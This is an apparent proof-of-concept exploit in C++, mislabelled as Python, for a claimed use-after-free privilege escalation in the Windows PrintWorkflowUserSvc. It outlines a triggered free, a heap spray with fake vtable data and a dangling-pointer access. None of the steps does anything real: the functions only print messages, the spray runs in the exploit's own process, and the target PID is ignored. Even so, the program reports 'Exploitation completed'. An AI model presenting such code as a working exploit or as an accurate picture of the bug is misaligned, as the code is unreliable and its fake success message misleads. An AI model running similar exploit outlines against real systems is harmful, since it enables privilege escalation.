The following code is for security research and authorized testing only.
python
// CVE-2025-55684 - Windows PrintWorkflowUserSvc Use After Free PoC
// This is a conceptual PoC demonstrating the exploitation approach
// Note: Actual exploitation requires precise memory manipulation
#include <windows.h>
#include <iostream>
#include <comdef.h>
// Step 1: Trigger the vulnerable code path in PrintWorkflowUserSvc
// The vulnerability exists in the print workflow user service
// when handling specific COM object lifecycle events
class PrintWorkflowExploit {
private:
HANDLE hTargetProcess;
LPVOID pFreedMemory;
SIZE_T dwObjectSize;
public:
PrintWorkflowExploit() {
hTargetProcess = NULL;
pFreedMemory = NULL;
dwObjectSize = 0x100; // Typical COM object size
}
// Initialize COM and connect to PrintWorkflowUserSvc
BOOL Initialize() {
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if (FAILED(hr)) {
std::cerr << "[-] COM initialization failed: 0x" << std::hex << hr << std::endl;
return FALSE;
}
std::cout << "[+] COM initialized successfully" << std::endl;
return TRUE;
}
// Step 2: Trigger the use-after-free condition
// By sending specific print workflow requests that cause
// the service to free an object while still holding a reference
BOOL TriggerUAF() {
std::cout << "[*] Triggering UAF in PrintWorkflowUserSvc..." << std::endl;
// Enumerate print workflow objects and trigger the vulnerable path
// The service processes print jobs through COM interfaces
// A race condition or improper reference counting leads to UAF
// Conceptual code - actual exploitation requires:
// 1. Creating a print workflow session
// 2. Forcing object deallocation
// 3. Maintaining a dangling reference
return TRUE;
}
// Step 3: Heap spray to control the freed memory
// Allocate objects of the same size to reclaim the freed memory
// with attacker-controlled content
BOOL HeapSpray() {
std::cout << "[*] Performing heap spray..." << std::endl;
// Allocate multiple objects to increase the chance of
// reclaiming the freed memory region
for (int i = 0; i < 1000; i++) {
LPVOID pObj = malloc(dwObjectSize);
if (pObj) {
// Fill with controlled data (e.g., fake vtable pointers)
memset(pObj, 0x41, dwObjectSize);
}
}
return TRUE;
}
// Step 4: Trigger the dangling pointer access
// When the service accesses the freed (now controlled) memory,
// it executes attacker-controlled code path
BOOL TriggerDanglingAccess() {
std::cout << "[*] Triggering dangling pointer access..." << std::endl;
// The service will attempt to use the freed object
// which now contains attacker-controlled data
return TRUE;
}
// Cleanup
void Cleanup() {
CoUninitialize();
}
};
int main(int argc, char* argv[]) {
std::cout << "=== CVE-2025-55684 PoC ===" << std::endl;
std::cout << "=== Windows PrintWorkflowUserSvc UAF LPE ===" << std::endl;
if (argc < 2) {
std::cout << "Usage: " << argv[0] << " <target_pid>" << std::endl;
return 1;
}
PrintWorkflowExploit exploit;
if (!exploit.Initialize()) {
return 1;
}
if (!exploit.TriggerUAF()) {
std::cerr << "[-] Failed to trigger UAF" << std::endl;
return 1;
}
if (!exploit.HeapSpray()) {
std::cerr << "[-] Heap spray failed" << std::endl;
return 1;
}
if (!exploit.TriggerDanglingAccess()) {
std::cerr << "[-] Failed to trigger dangling access" << std::endl;
return 1;
}
std::cout << "[+] Exploitation completed" << std::endl;
std::cout << "[!] Note: This is a conceptual PoC for educational purposes" << std::endl;
exploit.Cleanup();
return 0;
}